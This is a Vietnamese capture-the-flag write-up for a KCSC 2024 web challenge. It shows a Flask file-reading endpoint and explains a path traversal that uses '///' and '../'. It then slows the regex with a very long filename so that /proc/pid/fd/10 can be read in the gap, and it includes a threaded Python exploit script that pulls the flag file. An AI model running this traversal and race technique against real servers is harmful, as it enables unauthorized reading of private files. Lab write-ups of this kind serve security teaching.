Post

KCSC 2024

Bài Ka Tuổi Trẻ

Tóm tắt: Challenge này là sử dụng một server flask đơn giản với function đọc file tại endpoint / với params file sau đó thêm ./static vào đằng trước file để đọc file trong thư mục static. Phần sau là kiểm tra file có tồn tại không, dung lượng của file phải bé hơn 2MB và có quyền đọc nó thì sẽ tiếp tục đi qua regex nếu qua thì sẽ trả về nội dung của file đó.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, redirect
from os import access, R_OK, stat
from os.path import isfile, join, normpath
import regex
import os

app = Flask(__name__, static_url_path='/static', static_folder='static')

@app.get('/')
def home():
	if request.args.get('file'):
		filename = join("./static", request.args.get('file'))
		if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2):
			try:
				with open(normpath(filename), "rb") as file:
					if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename:
						return file.read(1024 * 1024 * 2)
			except:
				pass
	return redirect("/?file=index.html")

Bài này nhìn vào là có thể nhận ra ngay dính lỗi path traversal khi chỉ dùng normpath để check path của file. Chúng ta có thể đơn giản là thêm /// vào là path của file sẽ được trỏ về root (ví dụ ///etc/passwd)

Sau khi biết đây là lỗi path traversal thì mình thử kiểm xem filter của regex có thể bypass được không

alt text

Đọc xong filter thì thì mình thấy đơn giản regex đầu tiên không có nghĩa gì cả và chặn nếu tên file có chữ flag. Lúc này thì vừa may có gợi ý là File descriptor nên mình nghĩ ra một cách khác

File descriptor

File descriptor là một định danh độc nhất cho một tập tin cái mà hệ điều hành gán cho nó khi mà mở một file nào đó. Nó cho phép các chương trình tương tác với files, sockets, I/O. File descriptor thường là một số nguyên không âm và được dùng để theo dõi các file và thực hiện thao tác trên nó.

Vậy với cái này thì chúng ta sẽ làm gì ? Nhìn vào đoạn code trên khi mở một file trong text mode (‘w’, ‘r’, ‘wt’, ‘rt’, etc.) thì nó sẽ return một subclass của io.TextIOBase. Vậy có nghĩa là sao, có nghĩa là nó sẽ mở một file descriptor khi đọc một file. Ta có thể tận dụng cái này để đọc file thông qua việc không cần đọc qua đường đẫn của nó.

Một ví dụ

alt text

/proc/pid/fd/

Đây là thư mục con chứa các symlink trỏ đến một file nào đó. Trong này luôn có các file 0, 1, 2 tương ứng với 0 là standard input, 1 là standard output, 2 là standard error và các file khác có thể là trỏ đến 1 socket nào đó hoặc 1 file cụ thể

Kết hợp hai điều trên ta có thể suy ra được cách giải như sau

Khi mà mở 1 file trong text mode thì nó sẽ mở một file descriptor trong proc/pid/fd (pid là mã số của process đó) và file đó lại symlink đến file ta muốn đọc => đọc file bất kì

Ví dụ

alt text

alt text

Vậy để giải bài này thì mình sẽ dùng file descriptor để đọc flag

Nhưng mà có một vấn đề là khi mở file thì nó lại đóng file quá nhanh làm mình chưa kịp access vào process id của nó nên bây giờ mình mới để ý phần regex filter của nó.

Nếu tên file quá dài thì khi đưa qua regex nó sẽ chạy rất lâu(max là 2 giây) và mình có thể tận dụng khoảng thời gian này để vào proc/pid/fd và đọc file

Sau một lúc fuzz thì mình thấy pid của nó nhảy ngẫu nhiên trong các giá trị 1,7,8,9 và file descriptor có tên là 10 sẽ là file symlink đến file mình đọc

Vậy ta có thể request đến server với payload /?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa./../../../../../flag.txt để mở một file descriptor link đến file /flag.txt và do tên quá dài nên regex sẽ bị phải chạy lâu

Trong thời gian 2s, mình gửi đến tất cả pid 1,7,8,9 và đọc file descriptor 10 để đọc flag

Dưới đây là script để tự động lấy flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import threading
import time
url = "http://103.163.24.78:8888/?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa./../../../../../flag.txt"

def get(id):
    r = requests.get(url = f"http://103.163.24.78:8888/?file=///proc/{id}/fd/10")
    if "KCSC" in r.text:
        print(r.text)
        exit()
def start1():
    r = requests.get(url = url)
if __name__ == "__main__":
    threading.Thread(target=start1).start()
    time.sleep(1)
    threading.Thread(target=get, args=(1,)).start()
    threading.Thread(target=get, args=(7,)).start()
    threading.Thread(target=get, args=(8,)).start()
    threading.Thread(target=get, args=(9,)).start()

Và ra flag

alt text

This post is licensed under CC BY 4.0 by the author.